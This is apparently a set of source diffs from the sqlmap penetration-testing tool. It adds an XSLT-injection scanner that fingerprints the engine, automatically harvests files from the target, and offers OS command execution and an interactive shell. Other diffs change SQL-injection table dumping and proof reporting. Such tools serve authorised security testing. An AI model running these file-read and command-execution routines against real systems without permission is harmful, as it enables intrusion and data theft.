captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,%d" % XSLT_MAX_FILE_LENGTH)
return captured.rstrip("\n") if captured is not None else None
def _advisories(place, parameter, context):
"""Report - never drive - the file-write / eval surfaces. Their availability is the finding: a write
is destructive ('--file-write' territory) and saxon:eval needs Saxon-PE/EE."""
build = dict(_BUILDERS)[context]
retVal = []
for label, expression in XSLT_ADVISORY_PROBES:
payload = build(_wrap(expression))
captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,40")
# the probe answers the STRING 'true'/'false', so only an explicit 'true' counts
if captured is not None and captured.strip().lower() == "true":
retVal.append(label)
return retVal
def _osShell(execFn):
"""Interactive OS-shell loop (runs under --batch like the SQL one). EOF / 'exit' / 'quit' leaves."""
from lib.core.common import readInput
logger.info("calling XSLT OS shell. Enter commands or 'exit'/'quit' to leave")
while True:
command = readInput("os-shell> ", checkBatch=False)
if not command or command.strip().lower() in ("exit", "quit"):
break
execFn(command.strip())
def _dumpFileRead(remoteFile, content):
try:
localPath = dataToOutFile(remoteFile, getBytes(content))
except Exception as ex:
logger.debug("could not save the XSLT-read file to disk: %s" % getUnicode(ex))
localPath = None
if localPath:
conf.dumper.rFile([localPath])
else:
conf.dumper.singleString("XSLT file read ('%s'):\n%s" % (remoteFile, content))
def _report(slot, title, extra=None):
lines = ["---", "Parameter: %s (%s)" % (slot.parameter, slot.place),
" Type: XSLT injection", " Title: %s" % title,
" Payload: %s=%s" % (slot.parameter, slot.payload)]
if slot.vendor:
lines.append(" Engine: %s" % slot.vendor)
for line in (extra or []):
lines.append(" %s" % line)
lines.append("---")
conf.dumper.singleString("\n".join(lines))
def xsltScan():
global SENTINEL
SENTINEL = randomStr(length=10, lowercase=True)
debugMsg = "'--xslt' is self-contained: it detects XSLT injection in HTTP parameters, fingerprints "
debugMsg += "the transformation engine and reads files through it. SQL enumeration switches "
debugMsg += "(--banner, --dbs, --tables, --users, --sql-query) are ignored"
logger.debug(debugMsg)
if not conf.paramDict:
logger.error("no request parameters to test (use --data, GET params, or similar)")
return
tested = found = 0
for place in (_ for _ in XSLT_PLACES if _ in conf.paramDict):
for parameter in list(conf.paramDict[place].keys()):
if conf.testParameter and parameter not in conf.testParameter:
continue
tested += 1
logger.info("testing XSLT injection on %s parameter '%s'" % (place, parameter))
_orig = _originalValue(place, parameter)
baseline = _send(place, parameter, "x" if _orig is None else _orig)
context, vendor, payload = _probeVendor(place, parameter, baseline)
title = "XSLT in-band (engine fingerprint)"
detail = None
if context is None:
context, payload, detail = _probeEval(place, parameter, baseline)
title = "XSLT in-band (arithmetic evaluation)"
vendor = None
if context is None:
context, vendor, payload = _probeCompile(place, parameter, baseline)
title = "XSLT compile-differential (no reflection)"
detail = None
if context is None:
continue
found += 1
if conf.beep:
beep()
vendor = vendor or _vendorFromError(baseline) or "Generic XSLT"
slot = Slot(place=place, parameter=parameter, context=context, vendor=vendor, payload=payload)
logger.info("%s parameter '%s' is vulnerable to XSLT injection (engine: '%s', %s context)"
% (place, parameter, vendor, context))
extra = []
if detail:
extra.append("Proof: the engine computed %s" % detail)
# Confirmed-by-evaluation extension bridges (php:function / java:). These are real read/exec
# primitives, not a function-available() guess, and reading a file through one is the same
# risk class as document() - which this engine already drives - so the read is automatic.
bridges = _detectBridges(place, parameter, context)
execBridge = next((_ for _ in bridges if _[5]), None)
if bridges:
extra.append("Extension bridges confirmed: %s" % ", ".join(_[0] for _ in bridges))
advisories = _advisories(place, parameter, context)
if advisories:
extra.append("Extensions available (NOT exercised): %s" % ", ".join(advisories))
_report(slot, title, extra)
wantsExec = any(conf.get(_) for _ in ("osCmd", "osShell"))
# --os-cmd / --os-shell: command execution runs ONLY when explicitly asked, exactly like the
# SQL and SSTI takeover. Without an exec bridge sqlmap says so rather than pretending.
if wantsExec:
if execBridge is None:
# naming java: here was misleading: it IS an exec-capable namespace in general, but
# this engine drives it read-only on purpose (no stdout comes back), so a target
# with ONLY the java bridge confirmed was told to look for something it already had
readOnly = ", ".join(_[0] for _ in bridges if not _[5])
errMsg = "OS command execution needs a confirmed exec bridge (php:function); "
errMsg += ("the '%s' bridge is read-only here" % readOnly) if readOnly else "none is available on this target"
logger.error(errMsg)
else:
if conf.get("osCmd"):
output = _bridgeExec(place, parameter, execBridge, conf.osCmd)
conf.dumper.singleString("XSLT os-cmd ('%s') via %s:\n%s"
% (conf.osCmd, execBridge[0], output if output is not None else "(no output captured)"))
if conf.get("osShell"):
_osShell(lambda command: conf.dumper.singleString(
"%s\n%s" % (command, _bridgeExec(place, parameter, execBridge, command) or "(no output captured)")))
elif execBridge is not None:
logger.info("the '%s' bridge allows OS command execution; you are advised to try "
"'--os-shell' (interactive) or '--os-cmd=<command>' (single command)" % execBridge[0])
# A confirmed finding is exploited automatically, like every other non-SQL switch: whoever
# reaches for '--xslt' should not need to know that '--file-read' exists to see impact. An
# explicit '--file-read' overrides the harvest and is honoured verbatim instead.
if conf.fileRead:
logger.info("reading file '%s' through the XSLT engine" % conf.fileRead)
content, how = _readFile(place, parameter, context, conf.fileRead, bridges=bridges)
if content:
logger.info("XSLT file read succeeded via %s (%d characters)" % (how, len(content)))
if how.startswith("string(document("):
logger.warning("document() parses its target as XML, so this is the file's TEXT "
"CONTENT rather than its raw bytes")
_dumpFileRead(conf.fileRead, content)
else:
logger.warning("XSLT file read of '%s' failed. Without an extension bridge, document() "
"only reads well-formed XML and unparsed-text() needs an XSLT 2.0+ engine "
"(this one reports '%s')" % (conf.fileRead, vendor))
else:
source = _dumpSourceDocument(place, parameter, context)
if source:
logger.info("dumping the XML document the stylesheet transforms (%d characters)" % len(source))
conf.dumper.singleString("XSLT: %s parameter '%s' source document\n%s" % (place, parameter, source))
logger.info("harvesting reachable files through the XSLT engine")
harvested = _harvestFiles(place, parameter, context, bridges=bridges)
for path, content, how in harvested:
logger.info("read '%s' via %s (%d characters)" % (path, how, len(content)))
_dumpFileRead(path, content)
if not harvested:
logger.info("no file could be read automatically (a bridge reads any file, else "
"document() needs well-formed XML and unparsed-text() needs XSLT 2.0+)")
if source or harvested:
logger.info("use '--file-read' to target one specific file instead of this harvest")
if not found:
if tested:
logger.warning("no parameter appears to be injectable via XSLT injection (%d tested)" % tested)
else:
logger.warning("no parameters found to test for XSLT injection")
logger.info("XSLT scan complete")
+1 -1
View File
@@ -269,7 +269,7 @@ def oracle_old_passwd(password, username, uppercase=True): # prior to version '
IV, pad = b"\0" * 8, b"\0" IV, pad = b"\0" * 8, b"\0"
unistr = b"".join((b"\0" + _.encode(UNICODE_ENCODING)) if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in (username + password).upper()) unistr = b"".join((b"\0" + _.encode(UNICODE_ENCODING)) if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in (getUnicode(username) + getUnicode(password)).upper())
if des.__module__ == "Crypto.Cipher.DES": if des.__module__ == "Crypto.Cipher.DES":
unistr += b"\0" * ((8 - len(unistr) % 8) & 7) unistr += b"\0" * ((8 - len(unistr) % 8) & 7)
+2 -1
View File
@@ -14,6 +14,7 @@ from lib.core.convert import decodeBase64
from lib.core.convert import encodeBase64 from lib.core.convert import encodeBase64
from lib.core.convert import getBytes from lib.core.convert import getBytes
from lib.core.convert import getText from lib.core.convert import getText
from thirdparty import six
# a compact JSON Web Token: base64url(header).base64url(payload).base64url(signature); a header always starts # a compact JSON Web Token: base64url(header).base64url(payload).base64url(signature); a header always starts
# with '{"' which base64url-encodes to the literal prefix 'eyJ', so this matches JWTs embedded in a larger value # with '{"' which base64url-encodes to the literal prefix 'eyJ', so this matches JWTs embedded in a larger value
@@ -46,7 +47,7 @@ def parseJWT(token):
except Exception: except Exception:
return None return None
if not isinstance(header, dict) or "alg" not in header: if not isinstance(header, dict) or not isinstance(header.get("alg"), six.string_types):
return None return None
return {"header": header, "payload": payload, "signature": signature, "signingInput": token.rsplit('.', 1)[0], "raw": token} return {"header": header, "payload": payload, "signature": signature, "signingInput": token.rsplit('.', 1)[0], "raw": token}
+49 -23
View File
@@ -149,7 +149,10 @@ def _lit(value):
(e.g. 0x.. hex) form for string keys. Both forms are self-contained (no surrounding quotes). (e.g. 0x.. hex) form for string keys. Both forms are self-contained (no surrounding quotes).
""" """
if value is not None and re.match(r"\A-?[0-9]+\Z", value): if value is None:
return NULL # unescaper.escape() passes None through, and a bare
# None formatted into a predicate is not even SQL
if re.match(r"\A-?[0-9]+\Z", value):
return value return value
return unescaper.escape(value, False) return unescaper.escape(value, False)
@@ -161,18 +164,24 @@ def _embed(template, value, *fixed):
template = template.replace("'%s'", "%s") template = template.replace("'%s'", "%s")
return template % (fixed + (_lit(value),)) return template % (fixed + (_lit(value),))
def _dumpSingle(tbl, colList, count, cursor, tableRef, entries, lengths): def _target(count):
blind = queries[Backend.getIdentifiedDbms()].dump_table.blind """Rows the walk is expected to produce, honouring --start/--stop."""
field = agent.preprocessField(tbl, cursor)
if conf.limitStart and conf.limitStop: if conf.limitStart and conf.limitStop:
target = max(0, conf.limitStop - conf.limitStart + 1) return max(0, conf.limitStop - conf.limitStart + 1)
elif conf.limitStop: elif conf.limitStop:
target = conf.limitStop return conf.limitStop
elif conf.limitStart: elif conf.limitStart:
target = max(0, count - conf.limitStart + 1) return max(0, count - conf.limitStart + 1)
else:
target = count return count
def _dumpSingle(tbl, colList, count, cursor, tableRef, entries, lengths):
"""False when the walk gave up mid-table (the caller then discards the partial result)."""
blind = queries[Backend.getIdentifiedDbms()].dump_table.blind
field = agent.preprocessField(tbl, cursor)
target = _target(count)
pivotValue = None pivotValue = None
@@ -182,7 +191,7 @@ def _dumpSingle(tbl, colList, count, cursor, tableRef, entries, lengths):
seed = unArrayizeValue(inject.getValue(query)) seed = unArrayizeValue(inject.getValue(query))
if isNoneValue(seed) or seed == NULL: if isNoneValue(seed) or seed == NULL:
return return False # no seed, no walk - and an empty table is not that
pivotValue = safechardecode(seed) pivotValue = safechardecode(seed)
@@ -205,7 +214,7 @@ def _dumpSingle(tbl, colList, count, cursor, tableRef, entries, lengths):
# safety latch against a non-advancing cursor (e.g. encoding edge cases) # safety latch against a non-advancing cursor (e.g. encoding edge cases)
if value == pivotValue: if value == pivotValue:
singleTimeWarnMessage("keyset cursor stopped advancing prematurely") singleTimeWarnMessage("keyset cursor stopped advancing prematurely")
break return False
pivotValue = value pivotValue = value
@@ -223,20 +232,17 @@ def _dumpSingle(tbl, colList, count, cursor, tableRef, entries, lengths):
produced += 1 produced += 1
return True
def _dumpComposite(tbl, colList, count, cursorCols, tableRef, entries, lengths): def _dumpComposite(tbl, colList, count, cursorCols, tableRef, entries, lengths):
"""False when the walk gave up mid-table (the caller then discards the partial result)."""
blind = queries[Backend.getIdentifiedDbms()].dump_table.blind blind = queries[Backend.getIdentifiedDbms()].dump_table.blind
fields = [agent.preprocessField(tbl, _) for _ in cursorCols] fields = [agent.preprocessField(tbl, _) for _ in cursorCols]
orderExpr = ','.join(fields) orderExpr = ','.join(fields)
startSkip = (conf.limitStart - 1) if conf.limitStart else 0 startSkip = (conf.limitStart - 1) if conf.limitStart else 0
if conf.limitStart and conf.limitStop: target = _target(count)
target = max(0, conf.limitStop - conf.limitStart + 1)
elif conf.limitStop:
target = conf.limitStop
elif conf.limitStart:
target = max(0, count - conf.limitStart + 1)
else:
target = count
prev = None prev = None
produced = 0 produced = 0
@@ -263,11 +269,18 @@ def _dumpComposite(tbl, colList, count, cursorCols, tableRef, entries, lengths):
tup.append(None if isNoneValue(value) else safechardecode(value)) tup.append(None if isNoneValue(value) else safechardecode(value))
if all(isNoneValue(_) for _ in tup): if all(isNoneValue(_) for _ in tup):
break break # nothing past the cursor: the table is walked
# A key column that did not come back (an error-channel miss, a blocked payload) cannot be
# seeked on, and its equality would pin the rest of the row to a NULL - so the walk stops
# here rather than emitting a row of empty cells and carrying the hole into the next seek
if any(isNoneValue(_) for _ in tup):
singleTimeWarnMessage("keyset cursor could not be retrieved for one of the key column(s)")
return False
if prev is not None and tup == prev: if prev is not None and tup == prev:
singleTimeWarnMessage("keyset cursor stopped advancing prematurely") singleTimeWarnMessage("keyset cursor stopped advancing prematurely")
break return False
prev = tup prev = tup
seen += 1 seen += 1
@@ -290,6 +303,8 @@ def _dumpComposite(tbl, colList, count, cursorCols, tableRef, entries, lengths):
produced += 1 produced += 1
return True
def keysetDumpTable(tbl, colList, count, cursor): def keysetDumpTable(tbl, colList, count, cursor):
""" """
Dumps a table one row at a time using keyset (seek) pagination on 'cursor' (a list of Dumps a table one row at a time using keyset (seek) pagination on 'cursor' (a list of
@@ -298,6 +313,10 @@ def keysetDumpTable(tbl, colList, count, cursor):
exact equality on the cursor (index point seek), so no row is skipped via OFFSET and no exact equality on the cursor (index point seek), so no row is skipped via OFFSET and no
per-row ORDER BY filesort is needed. A deep --start uses a single OFFSET "seed" jump per-row ORDER BY filesort is needed. A deep --start uses a single OFFSET "seed" jump
(single-column cursors), after which the walk is pure keyset. (single-column cursors), after which the walk is pure keyset.
Returns None when the walk gave up mid-table (a key value that did not come back, a cursor
that stopped advancing): a short table is worse than a slow one, so the caller redoes it
with the standard OFFSET dump instead of showing whatever was reached.
""" """
tableRef = _tableRef(tbl) tableRef = _tableRef(tbl)
@@ -309,9 +328,16 @@ def keysetDumpTable(tbl, colList, count, cursor):
entries[column] = BigArray() entries[column] = BigArray()
if len(cursor) == 1: if len(cursor) == 1:
_dumpSingle(tbl, colList, count, cursor[0], tableRef, entries, lengths) complete = _dumpSingle(tbl, colList, count, cursor[0], tableRef, entries, lengths)
else: else:
_dumpComposite(tbl, colList, count, cursor, tableRef, entries, lengths) complete = _dumpComposite(tbl, colList, count, cursor, tableRef, entries, lengths)
if not complete:
warnMsg = "keyset pagination did not complete for table '%s', " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "falling back to the standard dump"
logger.warning(warnMsg)
return None
debugMsg = "keyset pagination retrieved %d row(s) for table '%s'" % (len(entries[colList[0]]) if colList and colList[0] in entries else 0, unsafeSQLIdentificatorNaming(tbl)) debugMsg = "keyset pagination retrieved %d row(s) for table '%s'" % (len(entries[colList[0]]) if colList and colList[0] in entries else 0, unsafeSQLIdentificatorNaming(tbl))
logger.debug(debugMsg) logger.debug(debugMsg)
+40
View File
@@ -14,7 +14,11 @@ in one place rather than drifting across six files.
import difflib import difflib
import re import re
from lib.core.common import urldecode
from lib.core.common import urlencode
from lib.core.convert import getUnicode
from lib.core.data import conf from lib.core.data import conf
from lib.core.settings import REFLECTED_VALUE_MARKER
from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import UPPER_RATIO_BOUND
from lib.parse.html import htmlParser from lib.parse.html import htmlParser
@@ -38,6 +42,42 @@ def ratio(first, second):
return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio()
def stripReflection(page, payload):
"""
Remove the payload from the page before any two responses are compared.
An endpoint that merely ECHOES the parameter returns a different page for every different payload, so
a true/false differential is satisfied without a single expression, filter or operator ever being
interpreted. That is not injection, and it is how plain reflective search pages were reported as
XPath / LDAP / NoSQL injectable.
Deliberately NOT lib.core.common.removeReflectiveValues: that one is a scan-wide heuristic which
switches ITSELF OFF after REFLECTIVE_MISS_THRESHOLD misses, after a regex timeout, and during
heuristic mode - so a detection guard built on it silently stops guarding mid-scan. This is a plain,
deterministic substring removal with no global state and no failure mode. The two are complementary,
and the engines apply both.
The raw, URL-decoded and URL-encoded forms are all removed: a payload travels encoded, and an
application may echo whichever of the three it happened to hold.
"""
if not page or not payload:
return page
retVal = getUnicode(page)
forms = set()
for form in (payload, urldecode(payload, convall=True), urlencode(payload, safe="")):
try:
forms.add(getUnicode(form))
except Exception:
pass
# longest first, so a shorter form cannot chop a longer one into unremovable pieces
for form in sorted(filter(None, forms), key=len, reverse=True):
if form in retVal:
retVal = retVal.replace(form, REFLECTED_VALUE_MARKER)
return retVal
def blockedStatus(code): def blockedStatus(code):
"""True when an HTTP status means the response is blocked/errored (a 5xx, or a WAF/rate-limit """True when an HTTP status means the response is blocked/errored (a 5xx, or a WAF/rate-limit
403/429) and so is not a usable oracle sample. `_send()` implementations return None for these 403/429) and so is not a usable oracle sample. `_send()` implementations return None for these
+327 -237
View File
@@ -6,9 +6,13 @@ See the file 'LICENSE' for copying permission
""" """
import os import os
import time
from lib.core.common import Backend from lib.core.common import Backend
from lib.core.common import average from lib.core.common import average
from lib.core.common import getCurrentThreadData
from lib.core.common import getSafeExString
from lib.core.common import getUnicode
from lib.core.common import openFile from lib.core.common import openFile
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.common import stdev from lib.core.common import stdev
@@ -25,17 +29,36 @@ from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE from lib.core.enums import PLACE
from lib.core.settings import INFERENCE_MARKER from lib.core.settings import INFERENCE_MARKER
from lib.core.settings import SLEEP_TIME_MARKER from lib.core.settings import SLEEP_TIME_MARKER
from lib.request.inject import getValue
# how many times a true/false condition is re-evaluated to demonstrate repeatability (kills false positives) # how many times the differential control is repeated, to show it is stable rather than a coincidence
PROVE_REPETITIONS = 5 PROVE_REPETITIONS = 5
# characters of a datum read through an INFERENTIAL technique (one request per bit), so a time-based point
# does not spend minutes reading a banner it has already proven it can read
INFERENTIAL_DATUM_CHARS = 12
# comparison knobs that decide true/false at request time (lib/request/comparison.py reads these globals, # comparison knobs that decide true/false at request time (lib/request/comparison.py reads these globals,
# not injection.conf); they must be re-pointed at the injection being proven or the oracle returns None # not injection.conf); they must be re-pointed at the injection being proven or the oracle returns None
_COMPARISON_ATTRS = ("string", "notString", "regexp", "code", "textOnly", "titles") _COMPARISON_ATTRS = ("string", "notString", "regexp", "code", "textOnly", "titles")
# width the field labels are padded to, so the values line up in a clean column _LABEL_WIDTH = 10
_LABEL_WIDTH = 9
# getValue() gates, so each experiment runs through ONE named technique and the evidence can be attributed
# to it. Without this the report would credit whatever technique getValue() happened to pick as fastest.
_GATES = {
PAYLOAD.TECHNIQUE.UNION: {"union": True, "error": False, "blind": False, "time": False},
PAYLOAD.TECHNIQUE.ERROR: {"union": False, "error": True, "blind": False, "time": False},
PAYLOAD.TECHNIQUE.QUERY: {"union": False, "error": True, "blind": False, "time": False},
PAYLOAD.TECHNIQUE.BOOLEAN: {"union": False, "error": False, "blind": True, "time": False},
PAYLOAD.TECHNIQUE.TIME: {"union": False, "error": False, "blind": False, "time": True},
PAYLOAD.TECHNIQUE.STACKED: {"union": False, "error": False, "blind": False, "time": True},
}
# techniques that return the value inside the response body; the rest infer it one bit at a time
_INBAND = (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)
# order the experiments run in: cheapest and most demonstrative first
_ORDER = (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY, PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)
def _field(label, value): def _field(label, value):
@@ -75,118 +98,191 @@ def _restoreInjection(saved):
setattr(conf, attr, value) setattr(conf, attr, value)
def _booleanOracle(expression): def _exchange():
""" """
Evaluates a boolean expression strictly through the boolean (inferential) technique. UNION/error are The wire facts of the request that was just sent: (request line, HTTP code, response bytes, seconds).
forced off on purpose: for a multi-technique injection getValue() would try those first, and a WAF/IPS An evidence line without them is an assertion; with them the reader can check the work.
that blocks their function-heavy payloads makes them return None, which (with expectingNone) short-
circuits the whole call before the boolean technique is ever reached - the real cause of a 0/0 reading.
""" """
return getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=True, union=False, error=False, time=False) threadData = getCurrentThreadData()
parts = (threadData.lastRequestMsg or "").replace("\r\n", "\n").split("\n")
line = urldecode(parts[1].strip(), convall=True) if len(parts) > 1 else ""
return line, threadData.lastCode, len(threadData.lastPage or ""), threadData.lastQueryDuration
def _signalArtifacts(expression): def _techniques(injection):
return [_ for _ in _ORDER if _ in injection.data]
def _name(stype):
return PAYLOAD.SQLINJECTION.get(stype) or "unknown"
def _outcome(ok, detail, exchange):
"""One evidence row: 'PASS <detail> HTTP 200, 402 bytes, 0.045s' plus the request line beneath it."""
line, code, length, duration = exchange
facts = []
if code is not None:
facts.append("HTTP %s" % code)
if length:
facts.append("%d bytes" % length)
if duration:
facts.append("%.3fs" % duration)
retVal = ["%-4s %s%s" % ("PASS" if ok else "FAIL", detail, (" [%s]" % ", ".join(facts)) if facts else "")]
if line:
retVal.append(" %s" % line)
return retVal
def _challenge(injection, a, b):
""" """
Evaluates 'expression' through the boolean oracle and reads back the (HTTP code, page <title>) of the The decisive experiment, run once through EVERY confirmed technique.
response it produced (queryPage stores both in thread data), so the boolean proof can quote the actual
TRUE/FALSE codes and titles rather than a generic flag. Returns (None, None) on any error. The back-end is asked for a*b, where both operands were drawn at random after the scan started. That
product exists in no page, cache, log or reflection, and no amount of pattern matching in front of the
application can produce it - only something that evaluates SQL can. An in-band technique must return
the product itself; an inferential one must answer TRUE to 'a*b=product' AND FALSE to 'a*b=product+1',
which costs two requests instead of reading the digits back one bit at a time.
Running it per technique is the point of the report: on a filtered target it shows exactly which
channels the protection closed and which one still carries data.
""" """
from lib.core.common import extractRegexResult, getCurrentThreadData from lib.request import inject
from lib.core.settings import HTML_TITLE_REGEX
try:
_booleanOracle(expression)
threadData = getCurrentThreadData()
return threadData.lastCode, (extractRegexResult(HTML_TITLE_REGEX, threadData.lastPage or "") or "").strip()
except Exception:
return None, None
def _proveBoolean(injection, signal=None):
"""
Demonstrates deterministic boolean control, rendered with the distinguishing signal sqlmap already
auto-selected (--string / --code / --title), repeated to show it is stable (not a fluke). The signal
line quotes the actual distinguishing artifact: the matched string, the two HTTP codes, or the two
page titles - so a reader sees exactly what tells TRUE from FALSE.
When a mutable 'signal' dict is supplied it is filled with the distinguishing artifact (code-based?
and the TRUE/FALSE HTTP codes) so the caller can tell a genuine signal from a blocked-response (WAF)
artifact - a TRUE condition that yields an HTTP 4xx is a block, not a database answer.
"""
expected = a * b
retVal = [] retVal = []
n = randomInt()
trues = sum(1 for _ in range(PROVE_REPETITIONS) if _booleanOracle("%d=%d" % (n, n))) for stype in _techniques(injection):
falses = sum(1 for _ in range(PROVE_REPETITIONS) if _booleanOracle("%d=%d" % (n, n + 1)) is False) gate = _GATES[stype]
try:
line = "condition %d=%d returns TRUE (%d/%d) while %d=%d returns FALSE (%d/%d)" % (n, n, trues, PROVE_REPETITIONS, n, n + 1, falses, PROVE_REPETITIONS) if stype in _INBAND:
if trues == PROVE_REPETITIONS and falses == PROVE_REPETITIONS: value = inject.getValue("%d*%d" % (a, b), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS, resumeValue=False, suppressOutput=True, **gate)
line += ", repeatably" # only claim repeatability when every repetition agreed exchange = _exchange()
retVal.append(line) ok = value is not None and ("%s" % value).strip() == str(expected)
detail = "returned %s" % value if value is not None else "no value returned"
trueCode = trueTitle = falseCode = falseTitle = None else:
if injection.conf.code or injection.conf.titles: # fetch the real artifacts only when the signal needs them hit = inject.getValue("%d*%d=%d" % (a, b, expected), expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, resumeValue=False, suppressOutput=True, expectingNone=True, **gate)
trueCode, trueTitle = _signalArtifacts("%d=%d" % (n, n)) exchange = _exchange() # quote the TRUE probe: on a time-based point that is where the delay shows
falseCode, falseTitle = _signalArtifacts("%d=%d" % (n, n + 1)) miss = inject.getValue("%d*%d=%d" % (a, b, expected + 1), expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, resumeValue=False, suppressOutput=True, expectingNone=True, **gate)
ok = bool(hit) and miss is False
if signal is not None: detail = "confirmed %d, rejected %d" % (expected, expected + 1) if ok else "inconclusive (%s/%s)" % (hit, miss)
signal["codeBased"] = bool(injection.conf.code) retVal.append((stype, ok, _outcome(ok, detail, exchange)))
signal["trueCode"], signal["falseCode"] = trueCode, falseCode except Exception as ex:
retVal.append((stype, False, ["FAIL %s" % getSafeExString(ex)]))
if injection.conf.string:
retVal.append("the response contains %s only when the condition is TRUE" % repr(injection.conf.string).lstrip('u'))
elif injection.conf.notString:
retVal.append("the response contains %s only when the condition is FALSE" % repr(injection.conf.notString).lstrip('u'))
elif injection.conf.code:
if trueCode and falseCode and trueCode != falseCode:
retVal.append("the response returns HTTP %s when the condition is TRUE and HTTP %s when it is FALSE" % (trueCode, falseCode))
else:
retVal.append("the response returns HTTP %s only when the condition is TRUE (a different code otherwise)" % injection.conf.code)
elif injection.conf.titles:
if trueTitle and falseTitle and trueTitle != falseTitle:
retVal.append("the page title is %s when the condition is TRUE and %s when it is FALSE" % (repr(trueTitle).lstrip('u'), repr(falseTitle).lstrip('u')))
else:
retVal.append("the page <title> differs between the TRUE and FALSE responses")
else:
retVal.append("the TRUE response matches the original page while the FALSE one differs (content similarity)")
return retVal return retVal
def _proveTime(injection): def _datumQuery(stype):
""" """
Demonstrates time-based blind in plain IT language (jitter / latency / controlled delay), keeping the A real datum to read out of the back-end, and its label. Inferential techniques pay one request per
statistics under the hood. Where the payload uses a parameterizable delay (SLEEP(n)/pg_sleep(n)/WAITFOR), bit, so their datum is bounded with the DBMS' own SUBSTRING template instead of a whole banner.
it sweeps the injected delay (0 / T / 2T seconds) and shows the response time tracks it ~1:1 - a controlled """
delay that network latency or a slow page cannot reproduce. Otherwise (heavy-query delays) it falls back to
a baseline-vs-jitter statement. dbms = Backend.getIdentifiedDbms()
entry = queries.get(dbms) if dbms else None
if entry is None:
return None, None
for attr, label in (("banner", "back-end DBMS banner"), ("current_db", "current database"), ("current_user", "current database user")):
query = getattr(getattr(entry, attr, None), "query", None)
if not query:
continue
if stype in _INBAND:
return query, label
template = getattr(getattr(entry, "substring", None), "query", None)
if template:
return template % (query, 1, INFERENTIAL_DATUM_CHARS), "%s (first %d characters)" % (label, INFERENTIAL_DATUM_CHARS)
return query, label
return None, None
def _datum(passing):
"""
Reads a real value out of the back-end through a technique the challenge already proved, and reports
which one returned it. The challenge proves execution; this proves data egress.
"""
from lib.request import inject
for stype in passing:
query, label = _datumQuery(stype)
if not query:
continue
started = kb.requestCounter
try:
value = unArrayizeValue(inject.getValue(query, safeCharEncode=False, suppressOutput=True, resumeValue=False, **_GATES[stype]))
except Exception:
value = None
if not value:
continue
line, code, length, duration = _exchange()
head = "%s = %s [%s]" % (label, repr(getUnicode(value)).lstrip('u'), _name(stype))
if stype in _INBAND:
head += " [HTTP %s, %d bytes, %.3fs]" % (code, length, duration or 0.0)
return [_field("Read-back", [head, " %s" % line] if line else [head])]
# inferred one bit at a time: a single request line would not represent the exchange
return [_field("Read-back", [head, " recovered bit by bit over %d requests" % (kb.requestCounter - started)])]
return []
def _booleanControl(injection):
"""
The TRUE/FALSE differential, quoted with the artifact that separates them AND with the response facts
behind it, so the reader can see what the oracle actually looked at.
"""
from lib.request.inject import getValue
def _ask(expression):
result = getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=True, union=False, error=False, time=False)
_line, code, length, _duration = _exchange()
return result, code, length
n = randomInt()
trues = falses = 0
trueCode = falseCode = trueLength = falseLength = None
for _ in range(PROVE_REPETITIONS):
result, trueCode, trueLength = _ask("%d=%d" % (n, n))
trues += bool(result)
result, falseCode, falseLength = _ask("%d=%d" % (n, n + 1))
falses += result is False
retVal = ["TRUE (%d=%d): %d/%d [HTTP %s, %s bytes]" % (n, n, trues, PROVE_REPETITIONS, trueCode, trueLength),
"FALSE (%d=%d): %d/%d [HTTP %s, %s bytes]" % (n, n + 1, falses, PROVE_REPETITIONS, falseCode, falseLength)]
if injection.conf.string:
retVal.append("separated by: the response contains %s only when TRUE" % repr(injection.conf.string).lstrip('u'))
elif injection.conf.notString:
retVal.append("separated by: the response contains %s only when FALSE" % repr(injection.conf.notString).lstrip('u'))
elif injection.conf.code:
retVal.append("separated by: the HTTP status code")
elif injection.conf.titles:
retVal.append("separated by: the page title")
else:
retVal.append("separated by: response content similarity")
# a TRUE condition answered by a 4xx is a block, not a database answer - the caller needs to know
return retVal, (bool(injection.conf.code) and (trueCode or 0) >= 400)
def _timeControl(injection, stype):
"""
Sweeps the injected delay (0 / T / 2T seconds) and shows the response time follows it. The 0s case is
the control: a slow application or a congested network cannot switch itself off on command.
""" """
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import getCurrentThreadData, popValue, pushValue from lib.core.common import popValue, pushValue
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
retVal = []
stype = PAYLOAD.TECHNIQUE.TIME if PAYLOAD.TECHNIQUE.TIME in injection.data else PAYLOAD.TECHNIQUE.STACKED
vector = (injection.data.get(stype) or {}).get("vector") vector = (injection.data.get(stype) or {}).get("vector")
def _baselineStatement():
baseline = kb.responseTimes.get(kb.responseTimeMode) or []
if len(baseline) >= 2:
return "a TRUE condition delays the response well beyond the target's normal latency ~%.3fs (jitter ~%.3fs), repeatably" % (average(baseline), stdev(baseline))
return "a TRUE condition delays the response well beyond the target's normal latency and jitter, repeatably"
if not (vector and SLEEP_TIME_MARKER in vector):
retVal.append(_baselineStatement())
return retVal
n = randomInt()
base = conf.timeSec or 5
measurements = []
benign = [] benign = []
for _ in range(3): for _ in range(3):
try: try:
@@ -194,6 +290,17 @@ def _proveTime(injection):
benign.append(getCurrentThreadData().lastQueryDuration) benign.append(getCurrentThreadData().lastQueryDuration)
except Exception: except Exception:
pass pass
baseAvg = average(benign) if benign else 0.0
baseStd = stdev(benign) if len(benign) >= 2 else 0.0
if not (vector and SLEEP_TIME_MARKER in vector):
